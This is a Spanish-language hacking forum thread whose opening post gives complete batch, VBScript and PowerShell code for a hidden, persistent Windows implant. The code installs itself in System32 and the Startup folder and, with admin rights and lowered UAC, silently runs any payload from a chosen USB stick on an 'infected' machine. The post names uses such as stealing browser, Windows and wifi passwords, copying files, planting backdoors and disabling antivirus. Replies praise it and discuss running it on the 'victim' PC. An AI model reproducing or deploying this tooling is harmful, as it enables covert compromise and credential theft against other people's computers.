[Batch] - Ejecutar automaticamente un payload desde USB

  • 3 Respuestas
  • 13027 Vistas

0 Usuarios y 4 Visitantes están viendo este tema.

Desconectado Hello_World

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
  • Twitter: twitter.com/H3LL0WORLD
    • Ver Perfil
Hello, World.

Quizas muchos aquí conozcan o hayan oido acerca de la USB Rubber Ducky y su peculiar caracteristica de auto-ejecutar payloads con solo conectarla en una computadora o cualquier dispositivo que se pueda manejar usando un teclado; ya que esta emula ser uno.

Bueno, hoy veremos como hacer algo similar aunque sin gastar ni un dolar (bueno, necesitaremos una USB).

El codigo a usar seria el siguiente:
Esta es una versión comentada, ademas de que se toma la molestia de imprimirnos si ha detectado o no la USB
(Espero que se explique por si mismo o sino preguntar en los comentarios D:)

Código: You are not allowed to view links. Register or Login
REM *** %WINDIR%/SYSTEM32 ***
@ECHO OFF
:WHILE
CLS
REM *** Darle a la variable USBDrive la letra de la Usb en el caso de que haya una Usb con el nombre indicado ***
for /f "tokens=3 delims= " %%A in ('ECHO list volume ^| diskpart ^| findstr "HELLOWORLD"') do (set USBDrive=%%A:)

REM *** Si la variable esta vacia espera 3 segundos y vuelve a comprobar ***
if [%USBDrive%] EQU [] (

ECHO
  • USB:      NO![/li][/list]
    TIMEOUT>NUL /T 0
    ECHO
  • PAYLOAD:  NO![/li][/list]
    TIMEOUT>NUL /T 3
    GOTO :WHILE

    REM *** En el caso de que la variable no este vacia (Significa que tiene la letra de nuestra USB) ***
    REM *** Ademas de que exista el payload que vamos a ejecutar (Esto evitará que nos muestre algun error, en el caso de que intentemos ejecutar un payload que no existe) ***
    ) else if exist %USBDrive%\Payload.bat (

    ECHO
  • USB:      OK![/li][/list]
    TIMEOUT>NUL /T 0
    ECHO
  • PAYLOAD:  OK![/li][/list]

    REM *** Entonces 'Rompe' el bucle y ejecutamos el payload... ***
    GOTO :BREAK

    REM *** De no cumplirse las anteriores condiciones (Significa que la USB con el nombre esta insertada, pero el payload no existe) ***
    ) ELSE (

    ECHO
  • USB:      OK![/li][/list]
    TIMEOUT>NUL /T 0
    ECHO
  • PAYLOAD:  NO![/li][/list]

    TIMEOUT>NUL /t 3
    SET USBDrive=
    GOTO :WHILE
    )

    :BREAK

    REM *** Aqui es cuando se ejecuta el payload  ***
    REM *** EJECUTAR PAYLOAD OCULTO *** wscript.exe Ocultar.vbs %USBDrive%\Payload.bat

    START %USBDrive%\Payload.bat

    REM ** ESPERA 90 SEGUNDOS Y VUELVE A COMPROBAR, ESTO HACE QUE PODAMOS INSERTAR TANTAS VECES COMO QUERRAMOS LA USB (CON PAYLOADs DIFERENTES), SIN NECESIDAD DE ESPERAR A QUE LA PC SE REINICIE ***
    CLS
    ECHO PAYLOAD EJECUTADO
    TIMEOUT>NUL /T 0
    ECHO ESPERANDO 90 SEGUNDOS PARA VOLVER A COMPROBAR
    TIMEOUT>NUL /NOBREAK /t 90

    REM *** RESETEA EL VALOR DE LA VARIABLE ***
    SET USBDrive=
    GOTO :WHILE

    Cuando no hay ninguna USB con el nombre indicado:


    Cuando hay una USB con el nombre indicado, pero no existe el "payload.bat"


    Ahora solo faltaria hacer que se ejecute al inicio de Windows y de preferencia en segundo plano.
    Bien, usaremos este script de windows para ejecutar en segundo plano al siguiente bat.
    Este lo pondremos en la ruta: "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\"

    Código: You are not allowed to view links. Register or Login
    set objshell = createobject("wscript.shell")
    objshell.run "C:/Windows/System32/Ejecutar.bat",vbhide

    Con el archivo "Ejecutar.bat" nos encargaremos de ejecutar el archivo de espera "Esperar.bat" con permisos de administrador y en segundo plano.
    Asi el payload (payload.bat) no solo se ejecutará en segundo plano sino que tambien se ejecutará con permisos de administrador.

    Código: You are not allowed to view links. Register or Login
    PowerShell Start %WINDIR%/System32/Esperar.bat -Verb runAs -WindowStyle Hidden

    Para esto es recomendado cambiar la configuracion del control de cuentas de usuario "UAC"
    Podemos ir al panel de control/bla-bla-bla/bla-bla-bla/UAC
    o
    presionamos WIN + R y escribimos UserAccountControlSettings.exe


    Lo ponemos en la parte inferior  :)


    La versión 'final' para el archivo "Esperar.bar" seria esta (la otra estaba comentada y configurada para 'pruebas').
    Como podran ver es claramente una versión simplificada.

    Código: You are not allowed to view links. Register or Login
    REM *** %WINDIR%/SYSTEM32 ***
    :WHILE
    for /f "tokens=3 delims= " %%A in ('ECHO list volume ^| diskpart ^| findstr "MIUSB"') do (set USBDrive=%%A:)
    if [%USBDrive%] EQU [] (
    TIMEOUT /T 3
    GOTO :WHILE ) else if exist %USBDrive%\Payload.bat (
    GOTO :BREAK) ELSE (
    TIMEOUT /t 3
    SET USBDrive=
    GOTO :WHILE)

    :BREAK
    wscript.exe Ocultar.vbs %USBDrive%\Payload.bat

    TIMEOUT /t 90
    SET USBDrive=
    GOTO :WHILE

    Por si no lo notaron, para ejecutar el payload usaremos otro script de windows llamado "Ocultar.vbs".
    Espero el nombre sea suficientemente descriptivo :D

    Código: You are not allowed to view links. Register or Login
    CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

    Hasta aquí ya quedaria todo funcionando correctamente (en segundo plano e iniciando con windows)
    Pero, copiar cada archivo a su ruta seria algo tedioso y la intencion es usar el menor tiempo posible y mientras se pueda ¿Por qué no?.

    Nuevamente con la ayuda de un script de windows "Copiar.vbs" ejecutaremos un segundo en segundo plano el cual ya explicaré su función.

    Código: You are not allowed to view links. Register or Login
    set objshell = createobject("wscript.shell")
    objshell.run "Run.bat",vbhide

    El archivo "Run.bat" será este:
    Código: You are not allowed to view links. Register or Login
    REM  UBICACION --> "CARPETA RAIZ USB"
    REM Esto no es necesario, pero ... pero bueno es costumbre
    @ECHO OFF & CLS

    REM Le pasamos el valor del comando "CD" (nuestra ubicacion actual) a la variable "HERE"
    FOR /F "TOKENS=*" %%%% in ('CD') DO (SET HERE=%%~%%)

    REM Lo guardamos en un documento de texto para importarlo para luego saber la ruta de los archivos ya que al ejecutar como administrador un bat, nos cambia el directorio a "%WINDIR%\System32\"
    ECHO %HERE%Docs>%tmp%\Current.txt

    REM Usamos powershell para ejecutar como administrador un nuevo bat llamado "Copiar.bat" el cual se encuentra junto con los demas (arranque.vbs, ejecutar.bat, esperar.bat y ocultar.vbs) en la carpeta "Docs"
    PowerShell Start %HERE%/Docs/Copiar.bat -Verb runAs -WindowStyle Hidden
    EXIT

    El archivo "Copiar.bat" seria:
    Código: You are not allowed to view links. Register or Login
    REM Importamos la ubicación desde el archivo creado anteriormente
    for /f "tokens=*" %%%% in ('More %tmp%\Current.txt') do (set HERE=%%~%%) & Del /q "%tmp%\Current.txt"

    REM Nombres de los ficheros a copiar
    Set F1=Arranque.vbs
    Set F2=Ocultar.vbs
    Set F3=Ejecutar.bat
    Set F4=Esperar.bat

    REM Copiamos los archivos a sus respectivar rutas
    REM La unicar ruta 'obligatoria' es la de inicio
    Copy "%HERE%\%F1%" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"
    Copy "%HERE%\%F2%" "%WinDir%\System32\%F2%
    Copy "%HERE%\%F3%" "%WinDir%\System32\%F3%
    Copy "%HERE%\%F4%" "%WinDir%\System32\%F4%
    REM Importamos la ubicación desde el archivo creado anteriormente
    for /f "tokens=*" %%%% in ('More %tmp%\Current.txt') do (set HERE=%%~%%) & Del /q "%tmp%\Current.txt"

    REM Nombres de los ficheros a copiar
    Set F1=Arranque.vbs
    Set F2=Ocultar.vbs
    Set F3=Ejecutar.bat
    Set F4=Esperar.bat

    REM Copiamos los archivos a sus respectivar rutas
    REM La unicar ruta 'obligatoria' es la de inicio
    Copy "%HERE%\%F1%" "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"
    Copy "%HERE%\%F2%" "%WinDir%\System32\%F2%
    Copy "%HERE%\%F3%" "%WinDir%\System32\%F3%
    Copy "%HERE%\%F4%" "%WinDir%\System32\%F4%

    REM Ejecutamos el archivo de arranque; asi quedará funcionando desde ese momento.
    "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"

    Exit
    REM Ejecutamos el archivo de arranque; asi quedará funcionando desde ese momento.
    "%ProgramData%\Microsoft\Windows\Start Menu\Programs\StartUp\%F1%"

    Exit

    Finalmente, todo lo que debemos hacer es poner el nombre de nuestra USB en el archivo "Esperar.bat" y hacer doble clic en el archivo "Copiar.vbs"

    Como resultado final una vez 'infectado' un ordenador podremos correr un payload con solo conectar la USB, en segundo plano y con permisos de administrador.

    ¿Que podemos hacer?

    Lo que nuestro conocimiento nos permita  8).

    Ejms:

    [ESTOS 4 PAYLOADS Y SUS DEMOS LAS PUEDES ENCONTRAR EN ESTA LISTA DE REPRODUCCION EN YT]

       Robar contraseñas de navegadores
       Robar contraseñas de windows
       Extraer contraseñas de las redes wifi
       Copiar o extraer archivos

    [TAMBIEN...]
       Crear backdoors
       Instalar malware, spyware
       Desactivar el AV
       Tirarse la PC
       Etc...

    ¿Desventajas?

    El unico problema seria que la primera vez tenemos que iniciar el script manualmente, pero vamos; solo un par de clics y es TODO.

    Lista de reproduccion con demostración, explicación, configuracion y ejecución de payloads


    Saludos!!

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5672
  • Actividad:
    20%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email
Muy pero muy bueno bro!
Mil gracias por el aporte! Te felicito por el material!

Saludos!
ANTRAX


Desconectado David Bassara

  • *
  • Underc0der
  • Mensajes: 5
  • Actividad:
    0%
  • Reputación 0
  • Me gusta aprender
    • Ver Perfil
Gracias Bro!, es genial lo que aportaste, pero tengo la duda para ejecutarlo por primera vez toca ejecutarlo como admin manualmente en el PC "victima"?
David Bassara, aprendiz de la vida.

Desconectado grep

  • *
  • Underc0der
  • Mensajes: 187
  • Actividad:
    0%
  • Reputación 4
    • Ver Perfil
    • Grep's personal site
Para que funcione como debe es necesario que se deshabilite la funcionalidad UAC (User Account Control).

Si esto no se hace el usuario va a ser notificado por cada vez que intente ejecutarse el script Ejecutar.bat (porque intenta ejecutar Esperar.bat en modo privilegiado) y por cada vez que intente ejecutarse Esperar.bat (porque el comando diskpart es una aplicacion que puede hacer cambios en el equipo y porque Payload.bat posiblemente necesite los privilegios de administrador).

Saludos

 

""MSN"" en batch

Iniciado por Elle Lawliet

Respuestas: 6
Vistas: 4840
Último mensaje Julio 18, 2011, 01:35:47 am
por JaAViEr
[Bash] Keylogger para robo de password de root desde session de usuario estandar

Iniciado por B3N

Respuestas: 2
Vistas: 5927
Último mensaje Junio 25, 2015, 09:34:52 pm
por B3N
MD5 - SHA1 Decrypter Underc0de desde la Terminal

Iniciado por L0ki

Respuestas: 0
Vistas: 2471
Último mensaje Marzo 27, 2013, 06:51:15 pm
por L0ki
[Código-Batch] Usuarios del PC & Procesos Ejecución - WMIC - JaAViEr

Iniciado por JaAViEr

Respuestas: 0
Vistas: 2393
Último mensaje Julio 17, 2011, 05:21:18 am
por JaAViEr
Detecta Autorun.Inf + Eliminación de Archivo Infectado - JaAViEr - Batch

Iniciado por JaAViEr

Respuestas: 4
Vistas: 4069
Último mensaje Julio 18, 2011, 06:36:47 pm
por LucaSthefano